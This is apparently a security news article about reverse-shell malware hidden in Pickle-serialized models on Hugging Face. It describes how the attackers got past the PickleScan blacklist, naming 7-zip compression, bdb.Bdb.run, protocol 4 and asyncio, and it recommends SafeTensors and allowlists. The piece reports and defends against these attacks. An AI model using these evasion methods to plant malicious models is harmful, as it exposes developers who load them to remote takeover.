Hugging Face, the widely used platform for sharing machine learning (ML) models, is grappling with security concerns after researchers identified malware hidden within two hosted models.
These malicious files exploited vulnerabilities in Python’s Pickle serialization format, allowing attackers to execute harmful code during the model-loading process. The findings, published by ReversingLabs, reveal critical weaknesses in Hugging Face’s security measures and highlight the broader risks of open AI platforms.
Pickle serialization, a popular method for saving and sharing Python objects, is central to frameworks like PyTorch, which Hugging Face supports extensively.
However, its ability to execute embedded code during deserialization makes it inherently risky. The flagged models contained reverse shells—malware designed to connect to remote servers and allow attackers to control affected systems. Despite Hugging Face’s use of a security tool called PickleScan, these files bypassed detection.
This discovery adds to growing concerns about the security of open ML platforms. Hugging Face’s collaborative environment, which facilitates the sharing of datasets, models, and code, has made it a critical resource for AI development. However, its openness also creates vulnerabilities.
Understanding Pickle Serialization and Its Risks
Pickle, a Python module used to serialize objects into byte streams, allows data to be saved and shared efficiently. This process, known as serialization, makes it possible to reuse pre-trained models without retraining them from scratch.
However, Pickle’s deserialization process, which loads data back into memory, also executes any embedded Python code—a feature that attackers can exploit to inject malicious scripts.
According to Python’s official documentation, “It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source.”
Despite this warning, Pickle remains popular due to its simplicity and compatibility with frameworks like PyTorch. On Hugging Face, where users share serialized models freely, this creates an ideal environment for hackers and other malicious actors.
In the case uncovered by ReversingLabs, attackers embedded reverse shells into Pickle files hosted on Hugging Face. These files were compressed using 7-zip instead of the standard ZIP format expected by PyTorch. This small alteration prevented Hugging Face’s torch.load() function and PickleScan, a security scanner detecting Python Pickle files performing suspicious actions, from analyzing the files correctly, enabling the malware to evade detection.
How Attackers Bypassed Hugging Face’s Security Tools
PickleScan identifies potentially malicious files by flagging specific blacklist methods like eval or exec. However, researchers from ReversingLabs and Checkmarx demonstrated that these defenses can be bypassed in multiple ways. For example, attackers used Python’s debugging module, bdb.Bdb.run, which functions similarly to flagged commands but avoided detection.
Another method exploited newer Pickle protocols. By using protocol version 4, attackers optimized method calls in a way that evaded PickleScan’s blacklist rules.
Additionally, the researchers pointed out that tools like PickleScan focus on validating files before scanning them for malicious content. This process misses early-executed payloads embedded in corrupted Pickle files, a design flaw highlighted by ReversingLabs’ experiments.
“The failure to detect the presence of a malicious function poses a serious problem for AI development organizations,” the researchers explained in their report. Attackers often leverage the sequential nature of deserialization, ensuring their malicious code executes immediately before scanning tools can flag it.
This gap in Hugging Face’s security measures has raised questions about the effectiveness of blacklist-based approaches.
Checkmarx’ researchers further criticized the use of blacklists, noting that even if all known Python methods were flagged, attackers could simply turn to third-party libraries.
They also demonstrated how asyncio, a built-in Python module for asynchronous programming, could be weaponized to bypass PickleScan. “A blocklist approach to completely dynamic code in the form of malicious Torch/Pickle models allows attackers to leave these solutions in the dust,” the Checkmarx researchers explained in their blog post.
Solutions and Industry Implications
To address these vulnerabilities, the experts recommend transitioning from Pickle serialization to safer formats like SafeTensors. Unlike Pickle, SafeTensors only stores numerical data and does not execute embedded code during deserialization, reducing the risk of malware.
While not yet widely adopted, SafeTensors is increasingly being viewed as a secure alternative for sharing machine learning models.
Developers are also encouraged to review supplemental code accompanying models and avoid configurations that allow remote code execution, such as trust_remote_code. Hugging Face provides an “Unsafe” button, which flags potentially harmful files, but researchers warn that such tools alone cannot guarantee safety.
Both ReversingLabs and Checkmarx stress the importance of adopting allowlist-based security models. Unlike blacklists, which flag known risks, allowlists explicitly define trusted methods and objects, offering a more robust defense.
However, implementing this approach requires significant resources and may slow down workflows, especially on open platforms like Hugging Face.
The broader implications of these findings extend beyond Hugging Face. As machine learning becomes integral to industries like healthcare, finance, and cybersecurity, securing the infrastructure that supports it is critical. Open platforms ususally must strike a balance between collaboration and security, investing in technologies that can adapt to evolving threats.
While Hugging Face has made updates to PickleScan, including expanded blacklist coverage, these measures are temporary fixes. The fundamental vulnerabilities of Pickle serialization, combined with the collaborative nature of open AI platforms, mean that attackers will continue to find new methods of exploitation.
